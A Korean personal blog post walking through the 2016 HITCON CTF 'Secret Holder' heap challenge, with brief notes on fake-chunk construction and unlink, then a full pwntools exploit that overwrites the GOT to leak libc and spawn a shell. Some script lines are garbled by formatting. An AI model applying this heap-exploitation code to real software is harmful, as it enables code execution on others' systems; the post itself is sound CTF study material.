HanJeouk의 개인공부 블로그

2016 Hitcon secret holder

CTF2018. 1. 21. 16:29

청크 관리 연습할 때 도움이 된다는 Histcon의 holder 시리즈... 풀어 봤다.

너무 어렵다.. 풀이를 엄청 본 것 같다. 

1,2,3 사이즈로 전부 할당을 한 다음에 다시 전부 free 시켜서 병합이 되게 한 다음 다시

huge를 할당하면 40만을 할당함에도 불구하고 탑 청크 사이즈가 늘어나서 heap에 할당이 된다 .ㅋㅋㅋㅋ

그렇게 되면 renew로 huge를 조작할 수 있으니까 40만큼을 마음대로 조작할 수 있다.

그래서 huge안에 big, small을 keep 해서 fake를 자유자재로 만들 수 있게 한다.

fake chunk를 만들 때 prev_size size를 조작해서 데이터 주소를 청크헤더로 인식시키는 게 인상적이였다.

또 fake_chunk를 만들 때 여러 오류들을 피하기 위해 여러 청크를 만든다는 게 어려웠다.

unlink 를 이용하여 전역변수에 할당할 수 있게 하고 전역변수를 함수 got들로 덮음으로써 릭과 공격을 할 수 있었다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*
= process("./SecretHolder")
elf = ELF("./SecretHolder")
 
def keep(size,content):
        p.sendlineafter("3. Renew secret\n","1")
        p.sendlineafter("3. Huge secret\n",str(size))
        print p.recv(1024)
        p.sendline(content)
 
def wipe(size):
        p.sendlineafter("3. Renew secret\n","2")
        p.sendlineafter("3. Huge secret\n",str(size))
 
def renew(size,content):
        p.sendlineafter("3. Renew secret\n","3")
        p.sendlineafter("3. Huge secret\n",str(size))
        print p.recv(1024)
        p.sendline(content)
 
attack = 0x6020a8
 
keep(1,"A"*40)
keep(2,"B"*40)
keep(3,"C"*40)
 
wipe(1)
wipe(2)
wipe(3)
 
 
keep(3,"a"*24#locate in small
 
wipe(1#same address between huge and small
 
keep(1,"b"*24)  # Reference Malloc.c!!!!
keep(2,"c"*24)
payload = p64(0x0)
payload += p64(0x21)
payload += p64(attack-24)
payload += p64(attack-16)
 
payload += p64(0x20)
payload += p64(0x90)
payload += "a"*0x80
 
payload += p64(0x90)
payload += p64(0x91)
payload += "b"*0x80
 
payload += p64(0x90)
payload += p64(0x21)
 
renew(3,payload)
 
wipe(2)
wipe(1)
payload = "\x00"*24
payload += p64(elf.got["free"])
payload += "\x20"
 
p.sendlineafter("3. Renew secret\n","3")
p.sendlineafter("3. Huge secret\n","3")
print p.recv(1024)
p.send(payload)
 
p.sendlineafter("3. Renew secret\n","3")
p.sendlineafter("3. Huge secret\n","3")
print p.recv(1024)
 
p.send(p64(elf.plt["puts"]))
wipe(1)
main_arena = u64(p.recv(6)+"\x00\x00"- 88
base = main_arena - 0x3c4b20
system = base + 0x45390
 
print "main_arena: " + hex(main_arena)
print "base: " + hex(base)
print "system: " + hex(system)
 
p.sendlineafter("3. Renew secret\n","3")
p.sendlineafter("3. Huge secret\n","3")
print p.recv(1024)
p.send(p64(system))
 
keep(1,"/bin/sh")
wipe(1)
 
p.interactive()
cs


'CTF' 카테고리의 다른 글

2016 WITHcon Malloc  (0) 2018.01.22
2016 Hitcon sleepy holder  (0) 2018.01.21
2017 Codegate messenger  (0) 2018.01.06
2014 Plaid CTF Ezhp  (0) 2018.01.04
tuCTF guest_book  (2) 2017.12.03